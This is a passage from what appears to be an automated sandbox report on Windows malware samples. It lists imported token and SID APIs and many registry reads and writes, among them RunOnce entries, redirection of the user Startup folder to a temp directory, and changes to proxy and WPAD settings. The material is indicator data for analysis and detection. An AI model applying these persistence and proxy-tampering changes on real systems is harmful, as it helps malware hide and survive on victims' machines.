can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: ZF2zr63.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: ZF2zr63.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: ZF2zr63.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: Cb7yP98.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: Cb7yP98.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: Cb7yP98.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: Cb7yP98.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: Cb7yP98.exe] Observed import api "GetSidIdentifierAuthority" which can "return a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: 5nB9ui9.exe] Observed import api "GetSidSubAuthority" which can "return a pointer to a specified subauthority in a security identifier (SID)" [Source: 5nB9ui9.exe] Observed import api "GetSidSubAuthorityCount" which can "return a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: 5nB9ui9.exe]68:Tb04,"5nB9ui9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "LDAPCLIENTINTEGRITY"; Value: "") "5nB9ui9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEOLDHOSTRESOLUTIONORDER"; Value: "") "5nB9ui9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEHOSTNAMEASALIAS"; Value: "") "5nB9ui9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "IPV4LOOPBACKALTERNATIVE"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPV6DOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\LINKAGE"; Key: "BIND"; Value: "")69:T8cc0,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP0"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"") "gF3mD54.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP1"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"") "oi9NR71.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP2"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"") "ZF2zr63.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP3"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"") "Cb7yP98.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP4"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"") "5nB9ui9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0000000000") "5nB9ui9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0100000000") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USER SHELL FOLDERS"; Key: "STARTUP"; Value: "%TEMP%\fefffe8cea\") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONREASON"; Value: "0100000000") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "F95E8A863E34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISION"; Value: "0000000000") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDETECTEDURL"; Value: "000000") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONREASON"; Value: "0100000000") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "1BAC07834234DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISION"; Value: "0000000000") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADNETWORKNAME"; Value: "Network 8") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "1BAC07834234DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "C09C13676434DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "C09C13676434DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "E3AB959C6434DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "E3AB959C6434DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "E0E9F9B36634DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "E0E9F9B36634DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "DD275ECB6834DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "DD275ECB6834DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "9C1342186B34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "9C1342186B34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "B723EC0B6D34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "7DAE55C57534DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "7DAE55C57534DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "6080DCFA7534DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "6080DCFA7534DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "BA5DA7297A34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "BA5DA7297A34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "971BD1527C34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "971BD1527C34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "95A0E38D7E34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "CC90CAFBA434DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "DA019BBEAB34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "35A016D6AD34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "933F7DEDAF34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "933F7DEDAF34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "ADBFB451B434DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "ADBFB451B434DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "06698D33B634DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "06698D33B634DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "E93A1469B634DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "E93A1469B634DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "A73B7D80B834DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "A73B7D80B834DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "CB3C6E04C134DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "64FA1545C534DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "64FA1545C534DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "DEC7F526C734DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "22FB7E5CC734DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "7F9AE573C934DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "DC394C8BCB34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "7763B34B3934DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "1480275D3C34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "1480275D3C34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "0000000000") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\CONNECTIONS"; Key: "SAVEDLEGACYSETTINGS"; Value: "460000000F0200000900000000000000000000000000000004000000000000003071E4E2286CD3010000000000000000000000000100000002000000C0A8F1FC00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "E15212FB9B34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "895D41C6A434DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "895D41C6A434DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "A7E63DABC034DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "A7E63DABC034DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "83786DA3D634DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "D7544A48DF34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "D7544A48DF34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\CONTENT"; Key: "CACHEPREFIX"; Value: "000000") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\COOKIES"; Key: "CACHEPREFIX"; Value: "Cookie:") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\HISTORY"; Key: "CACHEPREFIX"; Value: "Visited:") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0000000000") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0100000000") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "BC5998C23A34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "BC5998C23A34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "5FA775D43A34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "F95E8A863E34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "A5B5080C4134DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "A5B5080C4134DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "EFF9E0F94334DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "EFF9E0F94334DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "083D20DC4534DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "083D20DC4534DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "2B9D57104C34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "2EEF18344C34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "2B902EC84E34DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "215D17E55234DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "215D17E55234DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{8CB39A95-7D9A-4085-81C1-F0566118230E}"; Key: "WPADDECISIONTIME"; Value: "6590A01A5334DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-C5-9D"; Key: "WPADDECISIONTIME"; Value: "6590A01A5334DD0100") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET 